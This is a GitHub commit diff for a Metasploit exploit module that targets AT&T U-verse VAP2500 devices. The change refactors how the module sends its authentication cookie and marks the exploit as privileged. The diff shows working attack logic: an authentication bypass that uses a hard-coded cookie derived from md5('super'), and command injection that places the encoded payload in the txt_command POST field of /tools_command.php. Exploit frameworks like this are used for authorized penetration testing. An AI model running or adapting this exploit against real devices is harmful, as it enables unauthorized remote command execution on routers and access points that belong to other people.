Skip to content

Commit 169052a

Browse files
committed
Use cookie option
1 parent 8d1ca87 commit 169052a

File tree

1 file changed

+4
-7
lines changed

1 file changed

+4
-7
lines changed

modules/exploits/linux/http/vap2500_tools_command_exec.rb

Lines changed: 4 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ def initialize(info = {})
3535
['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/']
3636
],
3737
'DisclosureDate' => 'Nov 25 2014',
38-
'Privileged' => false,
38+
'Privileged' => true,
3939
'Payload' =>
4040
{
4141
'DisableNops' => true,
@@ -53,9 +53,7 @@ def check
5353
res = send_request_raw({
5454
'method' => 'GET',
5555
'uri' => '/tools_command.php',
56-
'headers' => {
57-
'Cookie' => "p=1b3231655cebb7a1f783eddf27d254ca", # md5("super")
58-
}
56+
'cookie' => "p=#{Rex::Text.md5('super')}"
5957
})
6058
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
6159
return Exploit::CheckCode::Vulnerable
@@ -88,10 +86,9 @@ def exploit
8886
'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}"
8987
},
9088
'method' => 'POST',
91-
'headers' => {
92-
'Cookie' => "p=1b3231655cebb7a1f783eddf27d254ca", # md5("super")
93-
}
89+
'cookie' => "p=#{Rex::Text.md5('super')}"
9490
})
91+
9592
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
9693
print_good("#{peer} - Command sent successfully")
9794
if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m

0 commit comments

Comments
 (0)